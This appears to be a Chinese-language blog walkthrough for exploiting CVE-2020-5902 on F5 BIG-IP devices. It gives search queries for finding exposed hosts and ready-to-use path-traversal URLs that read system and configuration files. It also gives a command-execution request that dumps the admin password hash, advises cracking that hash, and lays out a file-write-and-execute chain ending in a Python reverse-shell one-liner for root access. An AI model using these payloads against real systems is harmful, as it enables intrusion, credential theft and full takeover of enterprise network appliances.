上周爆出一个严重的漏洞,漏洞编号为CVE-2020-5902。这个漏洞存在于F5公司的Big-IP设备。
BIG-IP 广泛应用于大型企业,数据中心、云计算平台中,可以实现应用加速、负载均衡、SLL过载、web应用防火墙等功能。
简而言之,通过在Big-IP的TMUI(用户管理页面)发送特定的请求包,就可以在管理员权限下读取文件、写入文件并执行bash命令。
经过了解,该产品应用广泛,然而该漏洞复现简单,可以说影响颇大,建议存在该漏洞的Big-IP版本尽快修复。
1.从各大规则检索平台进行漏洞版本检索
钟馗之眼 :app:"BIG-IP"&&tumi
fofa:app="BIG-IP"&&tumi
不过,大佬已经写了脚本开始寻找漏洞版本了,效率更高,总之,按自己的方法找到存在漏洞的ip
2.访问到ip
会来到BIG-IP的用户管理页面
3.直接在url执行
这里有一个文件读取漏洞
https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
返回的内容如果是/etc/passwd文件的内容,说明存在文件读取漏洞
这里是文件目录穿越,然后执行fileRead.jsp脚本,可以任意读取文件(非root权限)fileName=后面跟文件路径
其他的文件读取POC
https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts
https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
4.命令执行POC
https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
调用tmshCmd.jsp脚本进行文件执行,command=跟要执行的命令
这里涉及到一个验证漏洞点的问题,主要观察“output”字段,如果该字段可以返回admin的密钥的密文或者报错,说明该指令执行了,如果返回为空,说明后台限制了命令执行,这个网站就很难被渗透了。
这里的list 这些命令是防火墙自己定义的Tmsh命令。想了解请点击这个地址https://clouddocs.f5.com/api/tmsh/Other.html
其中list 代表bash 命令,auth大概是用户认证命令,该命令会返回user后跟的用户字段的密文
$6$意思是用SHA512加密的128位密文,可以尝试找爆破工具解密一下该字段。如果密文中有" \/ "符号,则“ \ ”是转义字符,解密时将其删除。
漏洞利用成功后相当于拿到root权限,可以读取任意文件,执行任意命令。
在url中https://
tmshCmd.jsp?command=create+cli+alias+private+list+command+bash //创建一个tmsh命令,将list别名为bash
fileSave.jsp?fileName=/tmp/cmd&content=id //执行文件写入脚本,保存在/tmp/cmd,内容在content=后面
tmshCmd.jsp?command=list+/tmp/cmd //文件执行,执行上一步写入的内容
tmshCmd.jsp?command=delete+cli+alias+private+list //清除tmsh命令
执行到第三步,如果返回了id执行后的内容,即当前用户即权限,说明存在执行漏洞,
如果存在漏洞,将id字段替换为反弹shell脚本,攻击端开启监听,就能拿到shell(root权限)
id字段替换的反弹shell脚本如下
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('',));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
监听结果: 成功的监听到了设备反弹的shell。
参考链接:https://mp.weixin.qq.com/s/I2RkG4Co63IhBqnbpchqWQ
https://msd.misuland.com/pd/4425384115382000044